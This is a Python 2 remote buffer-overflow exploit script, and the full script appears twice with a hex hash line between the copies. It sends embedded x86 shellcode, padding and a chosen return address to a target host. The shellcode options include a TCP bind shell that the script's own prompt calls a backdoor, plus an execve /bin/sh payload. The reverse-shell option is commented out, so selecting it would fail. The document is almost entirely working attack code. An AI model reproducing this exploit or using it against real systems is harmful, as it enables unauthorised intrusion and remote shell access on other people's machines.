#!/usr/bin/python

import socket
import os
import sys
import struct

if len(sys.argv) != 6 :
    print "\nUsage : $python " + sys.argv[0] + " <IPaddress> <PortNo> <shellcode - type> <Starting_Address_of_buffer> <junk_length> "
    print "\nShellcode types: "
    print "tcp_reverse_shell_generator - 1"
    print "exit_shellcode - 2"
    print "standard_exec_shellcode - 3"
    print "tcp_bind_shell_generator - 4"

    sys.exit(1);

port = int(sys.argv[2])
shellcode_type = int(sys.argv[3])
address_little_endian = struct.pack('<L' , int(str(sys.argv[4]) , 16));

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect((sys.argv[1]  , port))

#ipaddr = socket.inet_aton(raw_input("IP address: "));
#rev_port = struct.pack('!H' , int(raw_input("Port number of the attacker: ")));

#tcp_reverse_shell_generator = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68" + str(ipaddr) + "\x66\x68" + str(rev_port) +"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

ipaddr = socket.inet_aton(sys.argv[1]);
ipaddr = str(ipaddr);
rev_port = struct.pack('!H' , int(raw_input("What port number should the server bind to , to create the backdoor: ")))
#rev_port = str(rev_port)

tcp_bind_shell_generator = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68" + rev_port +  "\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"

exit_shellcode = "\x31\xc0\x40\x31\xdb\xcd\x80"


std_exec_shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

if shellcode_type == 1 :
    shellcode = tcp_reverse_shell_generator
elif shellcode_type == 2 :
    shellcode = exit_shellcode
elif shellcode_type == 3 :
    shellcode = std_exec_shellcode
elif shellcode_type == 4 :
    shellcode = tcp_bind_shell_generator

sendbuffer = shellcode + "a" * (int(sys.argv[5])-len(shellcode)) +  address_little_endian
s.send(sendbuffer)



7054b58146110cf4bc465cc8a8ac37d1a0bfb495
#!/usr/bin/python

import socket
import os
import sys
import struct

if len(sys.argv) != 6 :
    print "\nUsage : $python " + sys.argv[0] + " <IPaddress> <PortNo> <shellcode - type> <Starting_Address_of_buffer> <junk_length> "
    print "\nShellcode types: "
    print "tcp_reverse_shell_generator - 1"
    print "exit_shellcode - 2"
    print "standard_exec_shellcode - 3"
    print "tcp_bind_shell_generator - 4"

    sys.exit(1);

port = int(sys.argv[2])
shellcode_type = int(sys.argv[3])
address_little_endian = struct.pack('<L' , int(str(sys.argv[4]) , 16));

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect((sys.argv[1]  , port))

#ipaddr = socket.inet_aton(raw_input("IP address: "));
#rev_port = struct.pack('!H' , int(raw_input("Port number of the attacker: ")));

#tcp_reverse_shell_generator = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68" + str(ipaddr) + "\x66\x68" + str(rev_port) +"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

ipaddr = socket.inet_aton(sys.argv[1]);
ipaddr = str(ipaddr);
rev_port = struct.pack('!H' , int(raw_input("What port number should the server bind to , to create the backdoor: ")))
#rev_port = str(rev_port)

tcp_bind_shell_generator = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68" + rev_port +  "\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"

exit_shellcode = "\x31\xc0\x40\x31\xdb\xcd\x80"


std_exec_shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

if shellcode_type == 1 :
    shellcode = tcp_reverse_shell_generator
elif shellcode_type == 2 :
    shellcode = exit_shellcode
elif shellcode_type == 3 :
    shellcode = std_exec_shellcode
elif shellcode_type == 4 :
    shellcode = tcp_bind_shell_generator

sendbuffer = shellcode + "a" * (int(sys.argv[5])-len(shellcode)) +  address_little_endian
s.send(sendbuffer)


